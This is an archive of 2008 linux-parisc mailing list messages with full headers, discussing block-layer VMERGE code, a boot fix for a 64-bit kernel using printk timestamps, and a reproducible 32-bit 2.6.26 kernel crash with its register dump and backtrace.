Subject: Re: [PATCH] block: fix q->max_segment_size checking in
 blk_recalc_rq_segments about VMERGE
Date: Sat, 19 Jul 2008 21:07:37 -0700 (PDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <20080719.210737.197246608.davem@davemloft.net>
References: <20080719.002826.73806419.davem@davemloft.net>
	<Pine.LNX.4.64.0807192141500.13523@devserv.devel.redhat.com>
	<1216520228.3376.33.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216526870 11345 80.91.229.12 (20 Jul 2008 04:07:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 04:07:50 +0000 (UTC)
Cc: mpatocka@redhat.com, fujita.tomonori@lab.ntt.co.jp,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 06:08:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKQDt-00044V-HC
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 06:08:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750794AbYGTEHi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jul 2008 00:07:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750706AbYGTEHi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jul 2008 00:07:38 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:57746
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1750701AbYGTEHh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jul 2008 00:07:37 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 8F63DC8C188;
	Sat, 19 Jul 2008 21:07:37 -0700 (PDT)
In-Reply-To: <1216520228.3376.33.camel@localhost.localdomain>
X-Mailer: Mew version 5.2 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:533 gmane.linux.kernel:709325 gmane.linux.scsi:43317
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/533>

From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Sat, 19 Jul 2008 21:17:08 -0500

> Try this patch

I'd rather remove the vmerge code, it doesn't buy us
anything, and for something so complex and so hard to
keep working correctly it's existence is far from
justified these days.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
 blk_recalc_rq_segments about VMERGE
Date: Sat, 19 Jul 2008 22:54:56 -0700 (PDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <20080719.225456.263046335.davem@davemloft.net>
References: <20080717221908D.fujita.tomonori@lab.ntt.co.jp>
	<20080719.002826.73806419.davem@davemloft.net>
	<Pine.LNX.4.64.0807192141500.13523@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216533309 21541 80.91.229.12 (20 Jul 2008 05:55:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 05:55:09 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: mpatocka@redhat.com
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 07:55:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKRti-0002F0-D0
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 07:55:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751536AbYGTFy5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jul 2008 01:54:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751488AbYGTFy5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jul 2008 01:54:57 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:59532
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1751295AbYGTFy4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jul 2008 01:54:56 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 387F1C8C18A;
	Sat, 19 Jul 2008 22:54:56 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.64.0807192141500.13523@devserv.devel.redhat.com>
X-Mailer: Mew version 5.2 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:534 gmane.linux.kernel:709329 gmane.linux.scsi:43318
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/534>

From: Mikulas Patocka <mpatocka@redhat.com>
Date: Sat, 19 Jul 2008 21:45:11 -0400 (EDT)

> Few days ago I created this.
> 
> Another task would be to remove nr_hw_segments from request, bio and queue 
> parameters (if this patch is accepted).

I'm fine with this:

Acked-by: David S. Miller <davem@davemloft.net>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 64bit kernel not booting with CONFIG_PRINTK_TIME=y
Date: Sun, 20 Jul 2008 11:23:45 +0200
Lines: 86
Approved: news@gmane.org
Message-ID: <20080720112345.07869299@bleh.bxl.tuxicoman.be>
References: <20080717190502.74c238d5@bleh.bxl.tuxicoman.be>
	<20080719215459.GA2550@phobos.i.cabal.ca>
	<20080719230418.GA4263@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216545841 11981 80.91.229.12 (20 Jul 2008 09:24:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 09:24:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 11:24:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKV9r-0005R8-E6
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 11:24:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754655AbYGTJXv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jul 2008 05:23:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754308AbYGTJXv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jul 2008 05:23:51 -0400
Original-Received: from cable-85.28.84.48.coditel.net ([85.28.84.48]:41367 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753979AbYGTJXt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jul 2008 05:23:49 -0400
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1KKV8s-0001O6-TV; Sun, 20 Jul 2008 11:23:46 +0200
In-Reply-To: <20080719230418.GA4263@phobos.i.cabal.ca>
X-Mailer: Claws Mail 3.4.0 (GTK+ 2.12.9; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:535 gmane.linux.kernel:709362
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/535>


Hi Kyle,


Thanks, this does work like a charm. This is the output now :

Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] FP[0] enabled: Rev 1 Model 16
[    0.000000] The 64-bit Kernel has started...
[    0.000000] console [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00005d90 00000491 00000000 00000002 09972987 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000301
[    0.000000] CPUID vers 18 rev 11 (0x0000024b)
[    0.000000] capabilities 0x1
[    0.000000] model 9000/800/L2000-5X
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 MB
[    0.000000]  1) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 MB
[    0.000000] Total Memory: 4096 MB
[    0.000000] Linux version 2.6.26 (root@spiderman) (gcc version 4.2.4 (Gentoo 4.2.4 p1.0)) #5 SMP Sun Jul 20 11:12:00 CEST 2008
[    0.000000] SMP: bootstrap CPU ID is 0
[17179569.184000] Built 2 zonelists in Zone order, mobility grouping on.  Total pages: 1034240
[17179569.184000] Kernel command line: root=/dev/md1 console=ttyS0 palo_kernel=2/vmlinux.test
[17179569.184000] PID hash table entries: 4096 (order: 12, 32768 bytes)
[17179569.184000] Console: colour dummy device 160x64
[17179569.196000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
[17179569.216000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
[17179569.676000] Memory: 4115968k/4194304k available (3467k kernel code, 77952k reserved, 1364k data, 244k init)
[17179569.776000] Mount-cache hash table entries: 256
[17179569.776000] Brought up 1 CPUs



Cheers,
  Guy



On Sat, 19 Jul 2008 19:04:18 -0400
Kyle McMartin <kyle@mcmartin.ca> wrote:

> On Sat, Jul 19, 2008 at 05:54:59PM -0400, Kyle McMartin wrote:
> > I'm *guessing* that umoddi3 or udivdi3 is doing an xmpyu or
> > something, which since this is probably before fpu init, is
> > trapping, which is trying to printk, which is recursively exploding.
> > 
> 
> If my guess is right, this quick fix might work. Can you please test
> it, as my a500 decided to have its scsi controller die in the middle
> of this...
> 
> (Proper fix is probably to bring fpu bringup into head.S, since it
> will be necessary for any printk with CONFIG_PRINTK_TIME on. (Or
> bring back my use embedded libgcc patch, which was buggy on
> 32-bit. :\ ))
> 
> diff --git a/init/main.c b/init/main.c
> index edeace0..729b150 100644
> --- a/init/main.c
> +++ b/init/main.c
> @@ -560,9 +560,9 @@ asmlinkage void __init start_kernel(void)
>  	tick_init();
>  	boot_cpu_init();
>  	page_address_init();
> +	setup_arch(&command_line);
>  	printk(KERN_NOTICE);
>  	printk(linux_banner);
> -	setup_arch(&command_line);
>  	mm_init_owner(&init_mm, &init_task);
>  	setup_command_line(command_line);
>  	unwind_setup();


-- 
Guy Martin
Gentoo Linux - HPPA port lead
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
	blk_recalc_rq_segments about VMERGE
Date: Sun, 20 Jul 2008 09:52:25 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <1216565545.4199.10.camel@localhost.localdomain>
References: <20080719.002826.73806419.davem@davemloft.net>
	 <Pine.LNX.4.64.0807192141500.13523@devserv.devel.redhat.com>
	 <1216520228.3376.33.camel@localhost.localdomain>
	 <20080719.210737.197246608.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216565562 26349 80.91.229.12 (20 Jul 2008 14:52:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 14:52:42 +0000 (UTC)
Cc: mpatocka@redhat.com, fujita.tomonori@lab.ntt.co.jp,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 16:53:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKaHw-0002Ji-1t
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 16:53:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756743AbYGTOwc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jul 2008 10:52:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754536AbYGTOwc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jul 2008 10:52:32 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:40277 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753364AbYGTOwb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jul 2008 10:52:31 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 51F6D80ED;
	Sun, 20 Jul 2008 09:52:28 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216565548; bh=f3HcgBP45Zz/cECT/CKnqXm9OBUXHwA5lZ+q3xraxu
	A=; l=1268; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=pIr7XW3EKpSks9qEnWydOcjxLmcH1TxP6ODoA
	7UHLS58Yy95sGpMJuljZuTBOR5esh2F/UVkDG5RrK/RglK1aoeFSVgZFp710elUwehc
	DfjOxCNA9o9B93F3gvYYxhEie0EBQJW9uTRr8laPZdWxG674j+L8IoapxbU5SLMJigU
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id iA17+N7BpLHb; Sun, 20 Jul 2008 09:52:26 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 5F946804B;
	Sun, 20 Jul 2008 09:52:26 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216565546; bh=f3HcgBP45Zz/cECT/CKnqXm9OBUXHwA5lZ+q3xraxu
	A=; l=1268; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=omPTrazjx4jr1QbUVDCfZG4EtYzrKK40rZVkE
	8a1XQEKaYF9socM+KsybMBUM66hA8SZiXaW58MRQowGgxxJw2Wv+zilLhlyN2I8cP3S
	UG4szuWCyyuLfyDGl0+6TWRRvX0fB0F/smZbJhGgyut+uXMy8FAQqI5xfxAfW8zsSLI
	=
In-Reply-To: <20080719.210737.197246608.davem@davemloft.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:536 gmane.linux.kernel:709408 gmane.linux.scsi:43321
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/536>

On Sat, 2008-07-19 at 21:07 -0700, David Miller wrote:
> From: James Bottomley <James.Bottomley@HansenPartnership.com>
> Date: Sat, 19 Jul 2008 21:17:08 -0500
> 
> > Try this patch
> 
> I'd rather remove the vmerge code, it doesn't buy us
> anything, and for something so complex and so hard to
> keep working correctly it's existence is far from
> justified these days.

You can ... as soon as BIO_VMERGE_BOUNDARY is undefined or set to zero,
it gets compiled out of the block code. 

Since we're using it successfully in parisc, I don't want the block code
removed, but I don't see a reason to force other architectures to use
it.

However, it has two use cases.  One is the legacy one of making rather
dumb I/O cards perform better (which is the primary on on parisc), but
there is a current one making huge transfers go through SCSI using using
the sg_table code.  That latter is pretty vital to me since I have to
keep the code working, but I don't really have any SCSI cards that can
take advantage of it without virtual merging.  As a slight irony, IBM is
trying to persuade me that a ppc would be better than a parisc for big
endian I/O testing ... so I might just be seeing if I can make virtual
merging work on power too.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: 2.6.26 kernel crash
Date: Sun, 20 Jul 2008 18:46:11 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <200807201846.11809.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216572401 11046 80.91.229.12 (20 Jul 2008 16:46:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 16:46:41 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 18:47:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKc4C-00062U-Il
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 18:47:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757610AbYGTQq3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jul 2008 12:46:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757639AbYGTQq3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jul 2008 12:46:29 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:36957 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1757610AbYGTQq2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jul 2008 12:46:28 -0400
Original-Received: (qmail invoked by alias); 20 Jul 2008 16:46:26 -0000
Original-Received: from mnhm-590e0026.pool.einsundeins.de (EHLO p100.box) [89.14.0.38]
  by mail.gmx.net (mp064) with SMTP; 20 Jul 2008 18:46:26 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+DtPZZqWaDHDsJGXH3oNmhokUstwn7xBneu9U6KJ
	0ZqDj4GS+N6MFk
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:537
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/537>

While debugging some user-space stuff I just faced this 32bit kernel crash (2.6.26):
Maybe someone has an idea?

Kernel Fault: Code=15 regs=5f578640 (Addr=000127ec)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111110000001111 Not tainted
r00-03  0004fc0f 10644f10 1011ee68 5f578288
r04-07  00000014 8c1fe860 8c1fe828 8eb7d030
r08-11  105ee890 00000040 0001264a 000d3b60
r12-15  00000000 000d3b5c 000dde68 000b0000
r16-19  8eb7d250 000b0000 ffffffff 000127ec
r20-23  ffffe040 00000000 101205d4 00000000
r24-27  00012800 101205cc 5f578288 1062ff10
r28-31  00000000 000002ee 5f578640 10120630
sr00-03  00000000 000013a7 00000000 000013a7
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1011ed04 1011ed08
 IIR: 0e601093    ISR: 00000000  IOR: 000127ec
 CPU:        0   CR30: 5f578000 CR31: ffffffff
 ORIG_R28: 40400000
 IAOQ[0]: unwind_frame_regs+0x214/0x244
 IAOQ[1]: unwind_frame_regs+0x218/0x244
 RP(r2): unwind_once+0x10/0x48
Backtrace:
 [<1011ee68>] unwind_once+0x10/0x48
 [<10112bbc>] do_show_stack+0x28/0xac
 [<10112cd0>] parisc_show_stack+0x90/0xa8
 [<10111258>] do_page_fault+0x174/0x294
 [<10113824>] handle_interruption+0x570/0x58c
 [<10117078>] intr_check_sig+0x0/0x34

Kernel panic - not syncing: Kernel Fault
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.26 kernel crash
Date: Sun, 20 Jul 2008 19:07:59 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <200807201907.59762.deller@gmx.de>
References: <200807201846.11809.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216573695 14745 80.91.229.12 (20 Jul 2008 17:08:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2008 17:08:15 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 19:09:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKcP6-0004wJ-Vt
	for glpp-linux-parisc@gmane.org; Sun, 20 Jul 2008 19:09:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754912AbYGTRIF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jul 2008 13:08:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757323AbYGTRIE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jul 2008 13:08:04 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51680 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754912AbYGTRIC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jul 2008 13:08:02 -0400
Original-Received: (qmail invoked by alias); 20 Jul 2008 17:08:00 -0000
Original-Received: from mnhm-590e0026.pool.einsundeins.de (EHLO p100.box) [89.14.0.38]
  by mail.gmx.net (mp045) with SMTP; 20 Jul 2008 19:08:00 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18TVA5gj0ETmJEvTpt0JmnRUVujw8Xh65yzTDco15
	8cB6KBwX+j25k4
User-Agent: KMail/1.9.7
In-Reply-To: <200807201846.11809.deller@gmx.de>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.49
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:538
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/538>

On Sunday 20 July 2008, Helge Deller wrote:
> While debugging some user-space stuff I just faced this 32bit kernel crash (2.6.26):
> Maybe someone has an idea?

This is reproduceable.
Testcase and docu is here: http://gsyprf10.external.hp.com/~deller/crash.tgz

Just run:
LD_LIBRARY_PATH=.  ./a.out

Output is:
making contexts
swapping contexts
start f2
&on_stack=0x12d88
start f1(a0=1,a1=2,a2=3,a3=fffffffc)
<crash>

Info:
- test program is from glibc:
        glibc-2.7/stdlib/tst-setcontext.c
- the compiled libc.so.6 includes some changes for *context() functions from me.

 
> Kernel Fault: Code=15 regs=5f578640 (Addr=000127ec)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111110000001111 Not tainted
> r00-03  0004fc0f 10644f10 1011ee68 5f578288
> r04-07  00000014 8c1fe860 8c1fe828 8eb7d030
> r08-11  105ee890 00000040 0001264a 000d3b60
> r12-15  00000000 000d3b5c 000dde68 000b0000
> r16-19  8eb7d250 000b0000 ffffffff 000127ec
> r20-23  ffffe040 00000000 101205d4 00000000
> r24-27  00012800 101205cc 5f578288 1062ff10
> r28-31  00000000 000002ee 5f578640 10120630
> sr00-03  00000000 000013a7 00000000 000013a7
> sr04-07  00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 1011ed04 1011ed08
>  IIR: 0e601093    ISR: 00000000  IOR: 000127ec
>  CPU:        0   CR30: 5f578000 CR31: ffffffff
>  ORIG_R28: 40400000
>  IAOQ[0]: unwind_frame_regs+0x214/0x244
>  IAOQ[1]: unwind_frame_regs+0x218/0x244
>  RP(r2): unwind_once+0x10/0x48
> Backtrace:
>  [<1011ee68>] unwind_once+0x10/0x48
>  [<10112bbc>] do_show_stack+0x28/0xac
